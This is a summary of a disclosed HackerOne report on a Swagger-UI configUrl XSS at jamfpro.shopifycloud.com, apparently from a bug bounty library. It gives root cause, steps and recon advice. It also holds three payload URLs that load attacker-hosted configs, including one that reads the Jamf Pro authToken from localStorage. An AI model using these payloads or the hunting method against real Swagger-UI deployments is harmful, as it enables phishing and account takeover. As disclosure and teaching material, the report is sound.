# XSS at jamfpro.shopifycloud.com

Old Swagger-UI at jamfpro.shopifycloud.com/classicapi/doc/ accepted a data: configUrl, enabling XSS to steal the Jamf Pro authToken from localStorage and take over accounts.

- Payout: $9,400
- Severity: medium
- Program: Shopify
- Found by: kannthu
- Disclosed: 2023-02-02
- Write-up quality: 6/10
- Original: https://hackerone.com/reports/1444682
- Library page: https://bugbountylibrary.com/r/h1%3A1444682
- Tags: area:web domain:web impact:ato impact:data-leak kind:bounty platform:hackerone sev:medium tech:rest technique:recon technique:source-review vuln:account-takeover vuln:xss

**Target:** Jamf Pro Swagger-UI endpoint /classicapi/doc/
**Root cause:** Legacy Swagger-UI accepted an attacker-controlled configUrl parameter without restricting the scheme, so a data:text/html;base64 URL was loaded and its content executed in the origin.
**Steps:**
1. Open `https://jamfpro.shopifycloud.com/classicapi/doc/?configUrl=data:text/html;base64,ewoidXJsIjoiaHR0cHM6Ly9leHViZXJhbnQtaWNlLnN1cmdlLnNoL3Rlc3QueWFtbCIKfQ==` to trigger an alert box.
2. Swap the base64 payload for a data: URL whose YAML url points to an attacker page to render a phishing page.
3. Authenticate to jamfpro.shopifycloud.com, then load a configUrl payload that reads `localStorage.authToken` and alerts it.
**How found:** Built a custom recon/request engine scanning ~2.5M hosts daily with nuclei-like modules; a dedicated Swagger-UI detection module flagged the exposed legacy /classicapi/doc/ endpoint, then configUrl was tested with a data: URL.
**Exploitation:** Victim clicks a crafted link to the trusted jamfpro.shopifycloud.com origin; Swagger-UI loads the attacker data: URL and executes JS in-origin, reading the authToken from localStorage (set on login, assumed also for SAML) to impersonate the user.
**Escalation:** Token theft escalates reflected XSS to full account takeover of the authenticated Jamf Pro user.
**Insight:** Legacy Swagger-UI's configUrl parameter accepts arbitrary schemes including data: — grep for /swagger, /doc, /classicapi/doc/ paths on subdomains and test configUrl with a data:text/html;base64 payload rather than only external URLs.

## Proof of concept (copied exactly from the original report)

**Swagger UI configUrl XSS alert PoC URL**

```
https://jamfpro.shopifycloud.com/classicapi/doc/?configUrl=data:text/html;base64,ewoidXJsIjoiaHR0cHM6Ly9leHViZXJhbnQtaWNlLnN1cmdlLnNoL3Rlc3QueWFtbCIKfQ==
```

**Swagger UI configUrl phishing page PoC URL**

```
https://jamfpro.shopifycloud.com/classicapi/doc/?configUrl=data:text/html;base64,ewoidXJsIjogImh0dHBzOi8vdGVhcmZ1bC1lYXJ0aC5zdXJnZS5zaC90ZXN0LnlhbWwiLAp9
```

**Swagger UI configUrl authToken stealing PoC URL**

```
https://jamfpro.shopifycloud.com/classicapi/doc/?configUrl=data:text/html;base64,ewoidXJsIjoiaHR0cHM6Ly9zdGFuZGluZy1zYWx0LnN1cmdlLnNoL3Rlc3QueWFtbCIKfQ==
```

